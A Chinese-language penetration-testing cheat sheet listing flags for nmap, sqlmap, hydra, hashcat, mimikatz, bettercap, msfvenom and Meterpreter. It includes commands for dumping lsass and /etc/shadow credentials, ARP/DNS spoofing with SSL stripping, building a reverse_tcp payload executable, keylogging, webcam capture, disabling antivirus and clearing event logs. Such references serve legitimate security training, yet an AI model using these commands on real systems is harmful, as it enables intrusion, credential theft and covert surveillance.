必要掌握
Bash
apt-get update #更新软件包列表库
apt-get upgrade #更新安装的软件包
apt-get dist-upgrade #根据依赖关系更新
apt-get clean #清除缓存索引
NC
-h #显示帮助选项
-l #监听传入连接
-p #指定端口
-c #通过/bin/sh执行命令
-e #执行命令
-q #执行完毕X秒后退出
-n #直接使用IP,不DNS解析
-v #显示详细信息
-u #使用UDP模式
-z #使用扫描模式
-k #断开连接时保持监听
--ssl #使用SSL连接或监听
--allow #允许指定主机连接
SSH
/etc/ssh/sshd_config #配置SSH
PasswordAuthentication yes #密码认证登录
permitrootlogin yes #允许Root登录
---------------------------------------------
-b <ip> #指定源地址
-C #进行数据压缩
-f #后台执行ssh服务
-i <file> #指定认证所需私钥
-g #允许连接转发端口
-N #不执行远程命令
-p <port> #指定远程主机的端口
-q #静默模式
-X #开启X11转发功能
-x #关闭X11转发功能
-L <lport:rhost:rport> #本地端口转发到远程
-R <rport:lhost:lport> #远程端口转发到本地
-D <lport> #动态端口转发
FTP
open #连接FTP服务器
bin #二进制传输
get #下载指定文件
put #上传指定文件
delete #删除FTP上文件
hash #显示下载进度
bye #断开连接并退出
SMTP
auth login #用户身份认证(base64)
mail from: #标识邮件的发件人
rcpt to: #标识邮件的收件人
data #启动邮件内容传输
quit #结束会话
Proxy
vim /etc/proxychains.conf
proxychains [...]
信息收集
Nmap
-iL <file> #指定主机列表
-sn #Ping 扫描
-Pn #跳过存活判断
-n #跳过DNS解析
-p <port> #扫描指定端口
-F #快速扫描模式
-sS #TCP SYN扫描
-sT #TCP全连接扫描
-sA #TCP ACK扫描
-sW #TCP Window扫描
-sM #TCP Maimon扫描
-sU #UDP 扫描
-sN #TCP Null扫描
-sF #TCP FIN扫描
-sX #TCP Xmas扫描
-sI <idle:port> #僵尸主机扫描
-sV #服务版本探测
-sC #默认脚本扫描
-O #操作系统检测
-A #高级扫描模式
-S <src> #伪造源地址
-D <IP,..,ME> #伪造诱饵(RND:N)
--badsum #发送错误校验
--mtu <val> #分片数据包
--spoof-mac <MAC> #伪造MAC地址
--data-length <num> #随机数据长度
--source-port <port> #强制指定源端口
--dns-servers <host> #指定DNS服务器
--script=<auth/vuln/..> #指定扫描脚本
Hping
-c <num> #数据包数目
-i <time> #发送时间间隔
-q #静默模式
-a <src> #伪造源地址
-p <port> #设置目的端口
-d <size> #数据包大小
-E <file> #文件数据
-e <key> #添加签名信息
-B #启用安全协议
--udp #UDP模式
--icmp #ICMP模式
--scan #扫描模式
--listen #监听模式
--flood #极速发包
--rand-source #伪造随机源
---------------------------------------------
-S #SYN标志位
-A #ACK标志位
-F #FIN标志位
-R #RST标志位
-P #PSH标志位
-U #URG标志位
Masscan
-c <file> #读取配置文件进行扫描
-p <port> #指定端口进行扫描
-iL <file> #指定主机文件列表
-oL <file> #生成主机端口对格式文件
--rate #指定发包的速率
--echo #重定向当前配置
--banners #获取Banner信息
theHarvester
-d <domain> #指定要搜索的域名
-b <source> #指定数据来源方式
-l <num> #限制搜索结果的数量
-s #使用Shodan进行查询
-f <file> #保存结果为HTML/XML
Web工具
Dirb
-a <agent> #指定自定义User-Agent
-c <cookie> #设置HTTP请求的cookie
-H <header> #向HTTP请求添加自定义头
-i #使用不区分大小写的搜索
-o <file> #输出成文件
-r #不递归搜索
-R #交互式递归
-u <user:passwd> #HTTP身份验证
-w #不停留在警告信息上
-x <name> #附加后缀扩展名
-z <ms> #添加N毫秒的延迟
Skipfish
-A <user:passwd> #指定HTTP身份验证
-C <key=val> #设置HTTP请求的cookie
-H <key=val> #向HTTP请求添加自定义头
-N #不接受任何新的Cookie
-I <keyword> #追踪匹配「keyword」网址
-X <keyword> #排除匹配「keyword」网址
-K <keyword> #不对指定参数进行Fuzz测试
-o <path> #将结果写入指定目录(必填)
-W <wordlist> #使用指定的读写词表
-S <wordlist> #加载补充只读单词表
-l <num> #每秒最大请求数
--auth-form <url> #表单认证URL
--auth-user <user> #表单认证用户名
--auth-pass <passwd> #表单认证密码
--auth-verify <url> #认证成功跳转的URL
Sqlmap
-u <url> #指定目标URL
-m <file> #指定目标文件
-r <reqfile> #加载文件请求
--data #POST参数
--method=PUT #设置请求方式
--batch #自动默认
--random-agent #随机User-Agent
--cookie=COOKIE #HTTP Cookie值
--tor #使用Tor
--force-ssl #强制使用SSL
--------------------------------------------------------------
--sql-shell #数据库Shell
--banner #获取数据库版本
--current-user #获取当前用户名
--current-db #获取当前数据库名
--is-dba #检测用户是否是管理员
--users #枚举所有数据库用户
--passwords #枚举用户哈希
--dbs #枚举所有数据库
--tables #枚举所有数据库中的表
--columns #枚举所有数据库表中的列
-D #指定要枚举的数据库
-T #指定要枚举的数据库表
-C #指定要枚举的数据库列
--dump #下载整个表数据
--dump-all #下载所有表数据
--------------------------------------------------------------
--os-cmd=CMD #执行系统命令
--os-shell #交互式Shell
--os-pwn #增强型Shell
--file-read=FILE #读取文件
--file-write=LFILE #写入文件
--file-dest=PWD #目标路径
--------------------------------------------------------------
–tamper #指定脚本
--dbms #指定数据库
--level=LEVEL #执行测试级别(1-5,默认为1)
--risk=RISK #执行测试风险(0-3,默认为1)
--technique=TECH #SQL注入技术(默认为“BEUSTQ”)
WPScan
--url <URL> #指定扫描的URL
-o <file> #输出成文件
-e [opts]
vp #枚举有漏洞的插件
ap #枚举所有插件
p #枚举热门插件
vt #枚举有漏洞的主题
at #枚举所有主题
t #枚举热门主题
cb #枚举配置备份
tt #枚举Timthumb文件
u #枚举用户名
-P <file> #指定密码字典
-U <file> #指定用户名字典
--rua #随机User-Agent
--http-auth <user:passwd> #用户认证登录
--stealthy #隐蔽检测模式
密码破解
Crunch
crunch 7 7 -t p@ss,%^ -l a@aaaaa
-b <num> #指定文件输出的大小(kb,mb,gb,kib,mib,gib)
-e <str> #指定停止字符串
-f #指定库中字符集(/usr/share/crunch/charset.lst)
-l #与-t联用,表明字符为实义字符
-o <file> #将密码保存到指定文件
-p <a ..> #组合元素进行生成
-s <str> #指定起始字符串
-t #指定密码输出的格式(%数字 ^符号 @小写 ,大写)
-z #压缩生成的字典文件(gzip,bzip2,lzma,7z)
Hydra
hydra -l User -P Passwd -f -vV service://Host:Port
-R #继续上次进度
-l #指定用户名
-L #指定用户名字典
-p #指定密码
-P #指定密码字典
-x <min:max:char> #密码暴力生成
-e <n/s/r> #空密码/密码=用户名/颠倒
-u #循环用户名
-t <num> #指定线程数
-w <time> #设置超时时间
-vV #显示详细过程
-S #强制使用SSL
-s <port> #指定非默认端口
-f #破解成功就中止
Medusa
medusa -h Host -u User -P Passwd -e ns -f -M service
-h #指定目标主机
-H <file> #指定目标主机文件
-u #指定用户名
-U <file> #指定用户名字典
-p #指定密码
-P <file> #指定密码字典
-e <n/s/ns> #空密码/密码=用户名
-M #要执行的模块
-L #用户并行登录
-t <num> #同时测试登录数
-T <num> #同时测试主机数
-f #破解成功就中止
-n <port> #指定非默认端口
-s #强制使用SSL
-O <file> #输出成文件
-v <0-6> #显示详细信息
Chntpw
fdisk -l
mkdir /mnt/c
mount /dev/sda1 /mnt/c
cd /mnt/c/Windows/system32/config
------------------------------
-u #指定要修改的用户
-l #列出SAM中所有用户
-i #进入交互模式
Mimikatz
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
John
unshadow /etc/passwd /etc/shadow > passwd
--single #变形猜解模式
--wordlist=file #字典破解模式
--incremental[:mode] #增量破解模式
--format=name #指定Hash类型
--restore #恢复中断进度
--show #显示已破解Hash
Hashcat
hashcat -a 0/1/3 -m typeID Hash Dict/…
-a <0/1/2> #指定破解模式[字典/组合/掩码]
-m <id> #指定Hash类型ID
-i --increment #增量破解模式
--increment-min #密码最小长度
--increment-max #密码最大长度
--force #忽略警告信息
--show #显示已破解Hash
嗅探/欺骗
ARP
echo 1 > /proc/sys/net/ipv4/ip_forward #路由转发
arpspoof -i eth0 -t Target Gateway #ARP欺骗
driftnet -i eth0 #图片嗅探
Bettercap
bettercap -caplet http(s)-ui
net.show #展示网络
net.probe #主动探测
arp.spoof #ARP 欺骗
http.proxy #HTTP代理
net.sniff #开启嗅探
dns.spoof #DNS 欺骗
---------------------------------------------------------------
set arp.spoof.targets IP #欺骗的IP地址
set http.proxy.sslstrip true #HTTPS降级HTTP
set http.proxy.script xss.js #代理执行的脚本
set net.sniff.verbose false #精简化显示数据
set dns.spoof.domains domain #设置要欺骗的域名
set dns.spoof.address redirect #设置重定向的地址
Metasploit
Shell
search exploit/multi/handler
search -S script web_delivery
search auxiliary/server/socks
handler -H x.x.x.x -P xxx -p payload
show options/targets/advanced
set autorunscript migrate -n ctfmon.exe
route add 192.168.0.0/24 ID
sessions -u ID
Msfvenom
-p <payload> #指定payload
-l <module> #列出指定模块
-f <format> #指定输出格式
-e <encoder> #指定编码器
-i <num> #指定编码次数
-b <chars> #规避的字符集(\x00\xff)
-x <file> #指定自定义模板
-k #保护模板运行
-o <file> #输出指定文件
--encrypt #指定加密方式
--encrypt-key #用于加密的密钥
--shellest #最小化生成payload
-----------------------------------------------------------------
msfvenom -l payloads
msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options
msfvenom --list formats
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o payload.exe
Meterpreter
background #退至后台
load #使用扩展(kiwi/incognito/sniffer)
run #使用Post模块
migrate <pid> #迁移进程
shell #系统Shell
search #搜索文件
download #下载文件
upload #上传文件
-----------------------------------------------------
keyscan_start #开始捕获按键
keyscan_stop #停止捕获击键
keyscan_dump #显示捕获信息
screenshare #实时远程桌面
screenshot #获取屏幕截图
record_mic <time> #录制麦克风X秒
webcam_list #列出摄像头
webcam_snap #指定摄像头拍摄快照
webcam_stream #指定摄像头播放视频
-----------------------------------------------------
sysinfo #获取系统信息
portfwd #端口转发
getprivs #启用当前进程特权
getsystem #尝试提权
hashdump #导出密码的哈希
timestomp #改变文件属性
clearev #清除事件日志
-----------------------------------------------------
run autoroute #自动路由
run killav #关闭杀毒
run getgui #远程桌面
run get_application_list #软件信息
run dumplinks #最近操作
取证工具
Steghide
embed #嵌入数据
extract #提取数据
info #显示相关信息
encinfo #显示支持加密算法
-ef #选择要嵌入的文件
-cf #选择要覆盖文件
-sf #选择要提取的文件
-p #指定密码
-e #指定加密方式